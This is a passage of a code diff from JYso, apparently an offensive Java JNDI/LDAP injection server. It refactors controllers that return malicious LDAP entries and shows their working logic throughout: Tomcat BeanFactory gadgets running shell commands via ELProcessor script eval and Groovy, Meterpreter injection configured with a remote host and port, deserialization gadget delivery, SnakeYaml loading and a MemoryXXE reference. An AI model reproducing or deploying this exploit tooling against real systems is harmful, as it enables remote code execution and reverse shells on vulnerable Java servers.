// 向 LDAP 客户端返回引用指定 payload 类的搜索结果。 // 向 LDAP 客户端返回引用指定 payload 类的搜索结果。
@Override @Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
@@ -49,21 +70,21 @@ public class BasicController implements LdapController {
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) { } catch (Throwable er) {
System.err.println("Error while generating or serializing payload"); System.err.println("Error while generating or serializing payload");
er.printStackTrace(); log.error(String.valueOf(er));
} }
} }
// 解析请求路径，确定 payload 类型并准备执行时所需的参数。 // 解析请求路径，确定 payload 类型并准备执行时所需的参数。
@Override @Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI Remote Refenrence Links "); System.out.println("- JNDI Remote Reference Links ");
try { try {
String normalized = base.replace('\\', '/'); String normalized = base.replace('\\', '/');
payloadType = segment(normalized, 1); payloadType = segment(normalized, 1);
if (payloadType.isEmpty()) { if (payloadType.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized); throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
} }
System.out.println(ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
gadgetType = parseGadgetType(normalized); gadgetType = parseGadgetType(normalized);
params = resolveParams(normalized); params = resolveParams(normalized);
@@ -123,20 +144,20 @@ public class BasicController implements LdapController {
switch (gadgetType) { switch (gadgetType) {
case base64: case base64:
String cmd = Util.getCmdFromBase(base); String cmd = Utils.getCmdFromBase(base);
System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset()); System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset());
return new String[]{cmd}; return new String[]{cmd};
case shell: case shell:
String encoded = Util.getCmdFromBase(base); String encoded = Utils.getCmdFromBase(base);
String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8); String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8);
System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset()); System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset());
return decoded.split(" "); return decoded.split(" ");
case msf: case msf:
String[] results = Util.getIPAndPortFromBase(base); String[] results = Utils.getIPAndPortFromBase(base);
Config.rhost = results[0]; Config.rhost = results[0];
Config.rport = results[1]; Config.rport = results[1];
System.out.println(" RemotHost: " + results[0]); System.out.println(" RemoteHost: " + results[0]);
System.out.println(" RemotPort: " + results[1]); System.out.println(" RemotePort: " + results[1]);
return results; return results;
default: default:
return new String[0]; return new String[0];
@@ -145,21 +166,7 @@ public class BasicController implements LdapController {
// 提取路径中第 index 个非空段，保持与原解析逻辑一致。 // 提取路径中第 index 个非空段，保持与原解析逻辑一致。
private String segment(String base, int index) { private String segment(String base, int index) {
int cursor = 0; return getStringQ(base, index);
int found = 0;
while (cursor < base.length()) {
int nextSlash = base.indexOf('/', cursor);
if (nextSlash == -1) nextSlash = base.length();
if (nextSlash > cursor) {
if (found == index) {
return base.substring(cursor, nextSlash);
}
found++;
}
cursor = nextSlash + 1;
}
return "";
} }
// 返回连字符后的子串，用于解析自定义类名。 // 返回连字符后的子串，用于解析自定义类名。
src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java
+27 -39
View File
@@ -6,7 +6,7 @@ import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell; import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util; import com.qi4l.JYso.gadgets.utils.Utils;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
@@ -14,13 +14,14 @@ import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef; import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi; import org.fusesource.jansi.Ansi;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.naming.StringRefAddr; import javax.naming.StringRefAddr;
import java.io.IOException;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.util.Locale; import java.util.Locale;
import static org.fusesource.jansi.Ansi.ansi; import static com.qi4l.JYso.controllers.BasicController.getStringQ;
@LdapMapping(uri = {"/elprocessor"}) @LdapMapping(uri = {"/elprocessor"})
@@ -28,6 +29,7 @@ public class ELProcessorController implements LdapController {
private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")"
+ ".newInstance().getEngineByName(\"JavaScript\")" + ".newInstance().getEngineByName(\"JavaScript\")"
+ ".eval(\"%s\")}"; + ".eval(\"%s\")}";
private static final Logger log = LoggerFactory.getLogger(ELProcessorController.class);
private String payloadType; private String payloadType;
// 记录解析请求时提取出的命令参数或回连信息。 // 记录解析请求时提取出的命令参数或回连信息。
@@ -53,26 +55,26 @@ public class ELProcessorController implements LdapController {
ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", buildPayloadScript())); ref.add(new StringRefAddr("x", buildPayloadScript()));
entry.addAttribute("javaSerializedData", Util.serialize(ref)); entry.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(entry); result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) { } catch (Throwable er) {
System.err.println("Error while generating or serializing payload"); System.err.println("Error while generating or serializing payload");
er.printStackTrace(); log.error(String.valueOf(er));
} }
} }
// 解析请求路径，确定 payload 类型及其所需参数。 // 解析请求路径，确定 payload 类型及其所需参数。
@Override @Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI LDAP Local Refenrence Links + ELProcessor"); System.out.println("- JNDI LDAP Local Reference Links + ELProcessor");
try { try {
String normalized = base.replace('\\', '/'); String normalized = base.replace('\\', '/');
payloadType = segment(normalized, 1); payloadType = segment(normalized, 1);
if (payloadType.isEmpty()) { if (payloadType.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized); throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
} }
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
gadgetType = parseGadgetType(normalized); gadgetType = parseGadgetType(normalized);
params = resolveParams(normalized); params = resolveParams(normalized);
@@ -97,7 +99,7 @@ public class ELProcessorController implements LdapController {
} else if (payloadType.contains("command")) { } else if (payloadType.contains("command")) {
scriptBody = helper.getExecCode(params[0]); scriptBody = helper.getExecCode(params[0]);
} else if (payloadType.contains("msf")) { } else if (payloadType.contains("msf")) {
scriptBody = helper.injectMeterpreter(); scriptBody = helper.injectInterpreter();
} else { } else {
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType); throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
} }
@@ -123,20 +125,20 @@ public class ELProcessorController implements LdapController {
switch (gadgetType) { switch (gadgetType) {
case base64: case base64:
String cmd = Util.getCmdFromBase(base); String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
return new String[]{cmd}; return new String[]{cmd};
case shell: case shell:
String encoded = Util.getCmdFromBase(base); String encoded = Utils.getCmdFromBase(base);
String decoded = new String(Util.base64Decode(encoded)); String decoded = Utils.base64Decode(encoded);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset()); System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
return decoded.split(" "); return decoded.split(" ");
case msf: case msf:
String[] results = Util.getIPAndPortFromBase(base); String[] results = Utils.getIPAndPortFromBase(base);
Config.rhost = results[0]; Config.rhost = results[0];
Config.rport = results[1]; Config.rport = results[1];
System.out.println("[+] RemotHost: " + results[0]); System.out.println("[+] RemoteHost: " + results[0]);
System.out.println("[+] RemotPort: " + results[1]); System.out.println("[+] RemotePort: " + results[1]);
return results; return results;
default: default:
return new String[0]; return new String[0];
@@ -145,21 +147,7 @@ public class ELProcessorController implements LdapController {
// 提取路径中的第 index 个非空段，保持与原有解析方式一致。 // 提取路径中的第 index 个非空段，保持与原有解析方式一致。
private String segment(String base, int index) { private String segment(String base, int index) {
int cursor = 0; return getStringQ(base, index);
int found = 0;
while (cursor < base.length()) {
int next = base.indexOf('/', cursor);
if (next == -1) next = base.length();
if (next > cursor) {
if (found == index) {
return base.substring(cursor, next);
}
found++;
}
cursor = next + 1;
}
return "";
} }
// 返回连字符后的子串，用于解析自定义类名。 // 返回连字符后的子串，用于解析自定义类名。
@@ -170,7 +158,7 @@ public class ELProcessorController implements LdapController {
// 封装 Tomcat 环境下 ELProcessor 的注入辅助逻辑，保持主控制器简洁。 // 封装 Tomcat 环境下 ELProcessor 的注入辅助逻辑，保持主控制器简洁。
private class TomcatBypassHelper { private class TomcatBypassHelper {
String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { String injectInterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class<?> clazz = Class.forName("com.qi4l.JYso.template.Meterpreter"); Class<?> clazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
Field host = clazz.getDeclaredField("host"); Field host = clazz.getDeclaredField("host");
host.setAccessible(true); host.setAccessible(true);
@@ -182,18 +170,18 @@ public class ELProcessorController implements LdapController {
return InjShell.injectClass(clazz); return InjShell.injectClass(clazz);
} }
String getExecCode(String cmd) throws IOException { String getExecCode(String cmd) {
return "var strs=new Array(3);\n" return "var str_s=new Array(3);\n"
+ " if(java.io.File.separator.equals('/')){\n" + " if(java.io.File.separator.equals('/')){\n"
+ " strs[0]='/bin/bash';\n" + " str_s[0]='/bin/bash';\n"
+ " strs[1]='-c';\n" + " str_s[1]='-c';\n"
+ " strs[2]='" + cmd + "';\n" + " str_s[2]='" + cmd + "';\n"
+ " }else{\n" + " }else{\n"
+ " strs[0]='cmd';\n" + " str_s[0]='cmd';\n"
+ " strs[1]='/C';\n" + " str_s[1]='/C';\n"
+ " strs[2]='" + cmd + "';\n" + " str_s[2]='" + cmd + "';\n"
+ " }\n" + " }\n"
+ " java.lang.Runtime.getRuntime().exec(strs);"; + " java.lang.Runtime.getRuntime().exec(str_s);";
} }
} }
} }
src/main/java/com/qi4l/JYso/controllers/GroovyController.java
+12 -22
View File
@@ -1,9 +1,8 @@
package com.qi4l.JYso.controllers; package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.exceptions.IncorrectParamsException; import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util; import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
@@ -13,8 +12,6 @@ import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr; import javax.naming.StringRefAddr;
import static org.fusesource.jansi.Ansi.ansi;
/* /*
* Requires: * Requires:
* - Tomcat and Groovy in classpath * - Tomcat and Groovy in classpath
@@ -29,13 +26,7 @@ import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/groovy"}) @LdapMapping(uri = {"/groovy"})
public class GroovyController implements LdapController { public class GroovyController implements LdapController {
private PayloadType type; private String[] params;
private String[] params;
private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
" ['cmd','/C', '${cmd}'].execute();\n" +
" } else {\n" +
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
" }";
@Override @Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
@@ -45,9 +36,14 @@ public class GroovyController implements LdapController {
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=evaluate")); ref.add(new StringRefAddr("forceString", "x=evaluate"));
String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
" ['cmd','/C', '${cmd}'].execute();\n" +
" } else {\n" +
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
" }";
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0]))); ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
e.addAttribute("javaSerializedData", Util.serialize(ref)); e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e); result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
@@ -55,22 +51,16 @@ public class GroovyController implements LdapController {
@Override @Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI LDAP Local Refenrence Links + Groovy"); System.out.println("- JNDI LDAP Local Reference Links + Groovy");
try { try {
int firstIndex = base.indexOf("/"); int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1); int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length(); if (secondIndex < 0) secondIndex = base.length();
String payloadType = base.substring(firstIndex + 1, secondIndex); String payloadType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
if (payloadType.equalsIgnoreCase("command")) {
type = PayloadType.valueOf("command");
//System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type));
} else {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
}
String cmd = Util.getCmdFromBase(base); String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd}; params = new String[]{cmd};
} catch (Exception e) { } catch (Exception e) {
src/main/java/com/qi4l/JYso/controllers/MemoryXXEController.java
+7 -16
View File
@@ -5,7 +5,7 @@ import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util; import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
@@ -16,9 +16,8 @@ import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr; import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/memoryxxe"}) @LdapMapping(uri = {"/memoryxxe"})
public class MemoryXXEController implements LdapController{ public class MemoryXXEController implements LdapController {
private String payloadType; private String[] params;
private String[] params;
private GadgetType gadgetType; private GadgetType gadgetType;
@Override @Override
@@ -28,31 +27,23 @@ public class MemoryXXEController implements LdapController{
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", params[0])); ref.add(new StringRefAddr("pathname", params[0]));
e.addAttribute("javaSerializedData", Util.serialize(ref)); e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e); result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} }
@Override @Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Refenrence Links + MemoryXXE"); System.out.println("- JNDI LDAP Local Reference Links + MemoryXXE");
try { try {
base = base.replace('\\', '/'); base = base.replace('\\', '/');
int fistIndex = base.indexOf("/"); int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1); int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length(); if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
//System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1); int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) { if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try { try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) { } catch (IllegalArgumentException e) {
@@ -61,7 +52,7 @@ public class MemoryXXEController implements LdapController{
} }
if (gadgetType == GadgetType.base64) { if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base); String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset()); System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
params = new String[]{cmd}; params = new String[]{cmd};
} }
src/main/java/com/qi4l/JYso/controllers/PropertiesRefAddr.java
-19
View File
@@ -1,19 +0,0 @@
package com.qi4l.JYso.controllers;
import javax.naming.RefAddr;
import java.util.Properties;
//this is a stub class required by WebSphere2 ldap handler
public class PropertiesRefAddr extends RefAddr {
private static final long serialVersionUID = 288055886942232156L;
private Properties props;
public PropertiesRefAddr(String addrType, Properties props) {
super(addrType);
this.props = props;
}
public Object getContent() {
return this.props;
}
}
src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java
+22 -22
View File
@@ -7,28 +7,27 @@ import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.ObjectPayload; import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.utils.Serializer; import com.qi4l.JYso.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.Util; import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode; import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.cli.CommandLine;
import org.fusesource.jansi.Ansi; import org.fusesource.jansi.Ansi;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.util.Base64; import java.util.Base64;
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1; import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/deserialization"}) @LdapMapping(uri = {"/deserialization"})
public class SerializedDataController implements LdapController { public class SerializedDataController implements LdapController {
public static String gadgetType; private static final Logger log = LoggerFactory.getLogger(SerializedDataController.class);
public static String cmd11; public static String gadgetType;
public static GadgetType gadgetType1; public static String cmd11;
public static CommandLine cmdLine; public static GadgetType gadgetType1;
private PayloadType payloadType; private String params;
private String params;
@Override @Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
@@ -38,8 +37,8 @@ public class SerializedDataController implements LdapController {
try { try {
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType); final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
ObjectPayload payload = payloadClass.newInstance(); ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject(params); Object object = payload.getObject(params);
if (SerializedDataController.gadgetType.equals("JRE8u20")) { if (SerializedDataController.gadgetType.equals("JRE8u20")) {
bytes = (byte[]) object; bytes = (byte[]) object;
@@ -54,7 +53,7 @@ public class SerializedDataController implements LdapController {
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) { } catch (Throwable er) {
System.err.println("Error while generating or serializing payload"); System.err.println("Error while generating or serializing payload");
er.printStackTrace(); log.error(String.valueOf(er));
} }
} }
@@ -63,20 +62,21 @@ public class SerializedDataController implements LdapController {
System.out.println("- JNDI Deserialization Links "); System.out.println("- JNDI Deserialization Links ");
try { try {
base = base.replace('\\', '/'); base = base.replace('\\', '/');
int firstIndex = base.indexOf("/"); int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1); int secondIndex = base.indexOf("/", firstIndex + 1);
try { try {
gadgetType = base.substring(firstIndex + 1, secondIndex); gadgetType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gaddget: " + gadgetType).reset()); System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gadget: " + gadgetType).reset());
} catch (IllegalArgumentException e) { } catch (IllegalArgumentException e) {
throw new UnSupportedGadgetTypeException("UnSupportGaddgetType >> " + base.substring(firstIndex + 1, secondIndex)); throw new UnSupportedGadgetTypeException("UnSupportGadgetType >> " + base.substring(firstIndex + 1, secondIndex));
} }
int thirdIndex = base.indexOf("/", secondIndex + 1); int thirdIndex = base.indexOf("/", secondIndex + 1);
int fourIndex = base.indexOf("/", thirdIndex + 1); int fourIndex = base.indexOf("/", thirdIndex + 1);
String Ty1 = base.substring(thirdIndex + 1, fourIndex); String Ty1 = base.substring(thirdIndex + 1, fourIndex);
gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase()); gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase());
// 若第三个斜杠不存在，则把其设置成为字符串的长度 // 若第三个斜杠不存在，则把其设置成为字符串的长度
if (thirdIndex < 0) thirdIndex = base.length(); if (thirdIndex < 0) thirdIndex = base.length();
PayloadType payloadType;
try { try {
// 将类型值设为从第二个斜杠后的字符串到第三个斜杠前（不包括第三个斜杠）所表示的字符串转换为 PayloadType 枚举类型 // 将类型值设为从第二个斜杠后的字符串到第三个斜杠前（不包括第三个斜杠）所表示的字符串转换为 PayloadType 枚举类型
String Ty3 = base.substring(secondIndex + 1, thirdIndex); String Ty3 = base.substring(secondIndex + 1, thirdIndex);
@@ -93,13 +93,13 @@ public class SerializedDataController implements LdapController {
if (payloadType == PayloadType.command) { if (payloadType == PayloadType.command) {
if (gadgetType1 == GadgetType.base64) { if (gadgetType1 == GadgetType.base64) {
cmd11 = Util.getCmdFromBase(base); cmd11 = Utils.getCmdFromBase(base);
} }
if (gadgetType1 == GadgetType.base64Two) { if (gadgetType1 == GadgetType.base64Two) {
String encodedString = Util.getCmdFromBase(base); String encodedString = Utils.getCmdFromBase(base);
byte[] decodedBytes = Base64.getDecoder().decode(encodedString); byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
String T1 = new String(decodedBytes); String T1 = new String(decodedBytes);
byte[] decodedBytes1 = Base64.getDecoder().decode(T1); byte[] decodedBytes1 = Base64.getDecoder().decode(T1);
cmd11 = new String(decodedBytes1); cmd11 = new String(decodedBytes1);
} }
src/main/java/com/qi4l/JYso/controllers/SnakeYamlController.java
+6 -15
View File
@@ -5,7 +5,7 @@ import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException; import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException; import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util; import com.qi4l.JYso.gadgets.utils.Utils;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.LDAPResult;
@@ -17,8 +17,7 @@ import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/snakeyaml"}) @LdapMapping(uri = {"/snakeyaml"})
public class SnakeYamlController implements LdapController { public class SnakeYamlController implements LdapController {
private String payloadType; private String[] params;
private String[] params;
private GadgetType gadgetType; private GadgetType gadgetType;
@Override @Override
@@ -34,31 +33,23 @@ public class SnakeYamlController implements LdapController {
"]"; "]";
ref.add(new StringRefAddr("forceString", "a=load")); ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml)); ref.add(new StringRefAddr("a", yaml));
e.addAttribute("javaSerializedData", Util.serialize(ref)); e.addAttribute("javaSerializedData", Utils.serialize(ref));
result.sendSearchEntry(e); result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} }
@Override @Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException { public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Refenrence Links + SnakeYaml"); System.out.println("- JNDI LDAP Local Reference Links + SnakeYaml");
try { try {
base = base.replace('\\', '/'); base = base.replace('\\', '/');
int fistIndex = base.indexOf("/"); int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1); int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length(); if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
//System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1); int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) { if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try { try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) { } catch (IllegalArgumentException e) {
@@ -67,7 +58,7 @@ public class SnakeYamlController implements LdapController {
} }
if (gadgetType == GadgetType.base64) { if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base); String cmd = Utils.getCmdFromBase(base);
